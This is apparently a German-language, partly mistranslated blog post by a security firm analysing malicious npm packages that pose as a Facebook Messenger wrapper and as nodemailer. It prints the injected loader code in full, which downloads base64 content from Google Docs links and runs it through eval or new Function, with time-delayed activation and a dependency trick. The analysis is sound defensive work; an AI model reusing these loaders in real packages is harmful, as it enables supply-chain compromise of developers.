Am 14. März 2025 entdeckten wir ein bösartiges Paket auf npm genannt node-facebook-messenger-api
. Zunächst schien es sich um eine ziemlich gewöhnliche Malware zu handeln, obwohl wir nicht erkennen konnten, was das Ziel war. Wir haben uns bis zum 3. April 2025 nichts weiter dabei gedacht, als wir sahen, dass derselbe Angreifer seinen Angriff ausweitete. Hier finden Sie einen kurzen Überblick über die von diesem Angreifer verwendeten Techniken und einige interessante Beobachtungen darüber, wie ihre Verschleierungsversuche am Ende dazu führen, dass sie noch offensichtlicher werden.
TLDR
node-facebook-messenger-api@4.1.0
getarnt als legitimer Facebook-Messenger-Wrapper.axios
und eval()
um eine Nutzlast aus einem Google Docs-Link zu ziehen - aber die Datei war leer.zx
Bibliothek, um einer Entdeckung zu entgehen, und bettet bösartige Logik ein, die Tage nach der Veröffentlichung ausgelöst wird.node-smtp-mailer@6.10.0
, die sich als nodemailer
mit der gleichen C2-Logik und Verschleierungstaktik.Hyper-Typen
), was eine klare Signaturmuster Verknüpfung der Anschläge.
Erste Schritte
Alles begann am 14. März um 04:37 UTC, als unsere Systeme uns auf ein verdächtiges Paket aufmerksam machten. Es wurde von einem Benutzer veröffentlicht victor.ben0825
der auch behauptet, er habe den Namen perusworld
. Dies ist der Benutzername des Benutzers, der Eigentümer der gesetzlicher Aufbewahrungsort für diese Bibliothek.

Hier ist der als bösartig erkannte Code in node-facebook-messenger-api@4.1.0:
in der Datei messenger.js
, Zeile 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
Der Angreifer hat versucht, diesen Code in einer 769 Zeilen langen Datei zu verstecken, die eine große Klasse ist. Hier haben sie eine Funktion hinzugefügt und rufen sie direkt auf. Sehr niedlich, aber auch sehr offensichtlich. Wir haben versucht, die Nutzlast abzurufen, aber sie war leer. Wir haben sie als Malware gekennzeichnet und sind weitergegangen.
Einige Minuten später veröffentlichte der Angreifer eine weitere Version, 4.1.1. Die einzige Änderung betraf offenbar die README.md
und paket.json
Dateien, in denen sie die Version, die Beschreibung und die Installationsanweisungen änderten. Da wir den Autor als bösen Autor markieren, wurden die Pakete ab diesem Zeitpunkt automatisch als Malware gekennzeichnet.
Der Versuch, hinterhältig zu sein
Dann, am 20. März 2025 um 16:29 UTC, markierte unser System automatisch die Version 4.1.2
des Pakets. Schauen wir uns an, was dort neu ist. Die erste Änderung ist in node-facebook-messenger-api.js,
die enthält:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
Die Änderung in dieser Datei ist die letzte Zeile. Sie importiert nicht nur die messenger.js
Datei, wenn sie angefordert wird, wird dies immer beim Import des Moduls gemacht. Clever! Die andere Änderung bezieht sich auf diese Datei, messenger.js.
Er hat den zuvor gesehenen hinzugefügten Code entfernt und den folgenden in den Zeilen 197 bis 219 hinzugefügt:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Hier finden Sie einen Überblick über die Funktionen:
- Er verwendet eine zeitbasierte Prüfung, um festzustellen, ob der bösartige Code aktiviert werden soll. Er würde erst etwa 4 Tage später aktiviert.
- Anstelle der Verwendung von
axios
verwendet sie jetzt Googlezx
Bibliothek, um die bösartige Nutzlast zu holen. - Er deaktiviert den ausführlichen Modus, der auch die Standardeinstellung ist.
- Er holt dann den bösartigen Code
- Es dekodiert base64
- Sie erstellt eine neue Funktion mit der
Funktion()
Konstruktor, der im Grunde gleichbedeutend ist mit einemeval()
anrufen. - Dann ruft es die Funktion auf und übergibt dabei
erfordern
als Argument.
Aber auch hier erhalten wir keine Nutzdaten, wenn wir versuchen, die Datei abzurufen. Wir erhalten nur eine leere Datei namens info.txt.
Die Verwendung von zx
ist merkwürdig. Wir haben uns die Abhängigkeiten angesehen und festgestellt, dass das ursprüngliche Paket einige Abhängigkeiten enthielt:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Das bösartige Paket enthält Folgendes:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Sehen Sie sich das an, sie haben die Hyper-Typen der Abhängigkeit hinzugefügt. Sehr interessant, wir werden noch ein paar Mal darauf zurückkommen.
Sie schlagen wieder zu!
Dann, am 3. April 2025 um 06:46 Uhr, wurde ein neues Paket vom Benutzer cristr.
Sie haben diee-Paket
node-smtp-mailer@6.10.0.
Unsere Systeme wiesen sie automatisch als potenziell bösartigen Code aus. Wir haben es uns angeschaut und waren ein wenig aufgeregt. Das Paket tut so, als wäre es nodemailer,
nur mit einem anderen Namen.

Unser System hat die Datei markiert lib/smtp-pool/index.js.
Wir sehen schnell, dass der Angreifer Code am Ende der legitimen Datei hinzugefügt hat, direkt vor der letzten Modul.Exporte
. Hier ist, was hinzugefügt wird:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Wir kennen diesen Code! Er ist wieder mit einem Zeitstempel versehen und wird erst 4 Tage später ausgeführt. Wir haben aufgeregt versucht, die Nutzdaten abzurufen, aber wir haben nur eine leere Datei namens anfänger.txt.
Buh! Wir schauen uns die Abhängigkeiten noch einmal an, um zu sehen, wie sie sich einbringen zx
. Wir haben festgestellt, dass die legitimen nodemailer
Paket hat keine direkt Abhängigkeiten
nur devDependencies
. Aber hier ist, was in dem bösartigen Paket ist:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Erkennen Sie eine Ähnlichkeit zwischen diesem und dem ersten Paket, das wir entdeckt haben? Es ist die gleiche Abhängigkeitsliste. Das legitime Paket hat keine Abhängigkeiten, aber das bösartige schon. Der Angreifer hat einfach die vollständige Liste der Abhängigkeiten aus dem ersten Angriff in dieses Paket kopiert.
Interessante Abhängigkeiten
Warum sind sie also von der Verwendung von axios
zu zx
zur Herstellung HTTP
Anfragen? Auf jeden Fall, um eine Entdeckung zu vermeiden. Interessant ist jedoch, dass zx
ist keine direkte Abhängigkeit. Stattdessen hat der Angreifer hyper-types eingebunden, ein legitimes Paket des Entwicklers lukasbach.

Neben der Tatsache, dass das referenzierte Repository nicht mehr existiert, gibt es hier noch etwas Interessantes zu beachten. Sehen Sie, dass es 2 Unterhaltsberechtigte
? Raten Sie mal, wer das ist.

Wenn der Angreifer tatsächlich versuchen wollte, seine Aktivitäten zu verschleiern, ist es ziemlich dumm, sich auf ein Paket zu verlassen, von dem nur er selbst abhängig ist.
Letzte Worte
Der Angreifer, der hinter diesen npm-Paketen steckt, hat es zwar nicht geschafft, eine funktionierende Nutzlast zu liefern, aber seine Kampagne zeigt die kontinuierliche Entwicklung von Bedrohungen der Lieferkette, die auf das JavaScript-Ökosystem abzielen. Der Einsatz von verzögerter Ausführung, indirekten Importen und dem Hijacking von Abhängigkeiten zeigt ein wachsendes Bewusstsein für Erkennungsmechanismen - und die Bereitschaft zum Experimentieren. Es zeigt aber auch, wie schlampige operative Sicherheit und wiederholte Muster sie immer noch verraten können. Für die Verteidiger ist es eine Erinnerung daran, dass selbst fehlgeschlagene Angriffe wertvolle Informationen sind. Jedes Artefakt, jeder Verschleierungstrick und jede wiederverwendete Abhängigkeit hilft uns, bessere Erkennungs- und Zuordnungsfähigkeiten zu entwickeln. Und vor allem wird deutlich, warum die kontinuierliche Überwachung und automatische Kennzeichnung öffentlicher Paketregistrierungen nicht mehr optional, sondern unerlässlich ist.